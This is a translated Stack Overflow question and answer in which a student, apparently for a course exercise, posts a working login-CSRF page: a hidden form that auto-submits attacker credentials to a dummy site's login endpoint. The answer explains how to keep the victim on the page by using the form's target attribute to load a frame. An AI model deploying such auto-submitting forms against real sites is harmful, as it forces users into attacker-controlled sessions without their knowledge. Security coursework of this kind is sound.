javascript - 通过javascript提交表单而不重定向

标签 javascript html

我正在为我的类(class)练习 CSRF 攻击,我必须通过创建一个“假”页面来攻击一个虚拟网站。我有以下代码

csrf.html

<!DOCTYPE html>
<head>CSRF_ATTACK_PT1</head>
<body>
    <form name ='csrf_form' action='http://course_website/login' method="POST">
        <input type='hidden' name='username' value='attacker_id'>
        <input type='hidden' name='password' value='attacker_pw'>
    </form>
    <script>
        document.csrf_form.submit();
    </script>
</body>

上面的代码运行完美,只是每次我打开 csrf.html 它也会打开 course_website 页面。我只是希望它保留在 csrf.html 上,而不是重定向/打开新标签页。

看了SO之后(我不太懂js..),我试了一下

<script>
        document.csrf_form.submit(function(){
           return false;
        });
</script>

并向表单本身添加 onsubmit = return false;,但都不起作用。

在这里做什么最好?

PS:不确定这是否会改变任何东西,但我在我的表单中使用 action 来反对 target,因为一个有效而另一个无效。有什么需要注意的吗?

最佳答案

but I used action as oppose to target in my form because one works and the other does not

targetaction 做完全不同的事情。

  • action 指定要将请求发送到的 URL。
  • target 指定打开对该请求的响应的框架

如果您不想离开当前页面,那么您需要将目标指定为框架或新窗口。省略它会导致新页面加载到当前窗口并替换包含表单的文档。


如果还可以通过取消表单提交然后用 JavaScript 模拟它(通常通过 XMLHttpRequest 对象)来(有点)在不离开页面的情况下提交表单。但是,CSRF 攻击将是跨域攻击,因此由于同源策略,该方法可能会失败。

关于javascript - 通过javascript提交表单而不重定向,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/33837348/

相关文章:

javascript - 如何从动态创建的php文件中读取echo并刷新div中的echo

javascript - 即使在页面重新加载后如何保留添加行及其值

javascript - 在javascript中修改原型(prototype)时的 super 函数

javascript - JS 中的深度属性?

html - HTML/CSS 中具有动态列数的行

javascript - 通过事件委托(delegate)在动态生成的元素上切换 CSS 类时遇到问题

javascript - 将信息从一个网页发送到另一个

java - 如何在play 2框架的scala模板页面中显示pdf文件?

javascript - 从本地文件访问 localStorage

javascript - Polymer 元素未在 Safari 7.0 上呈现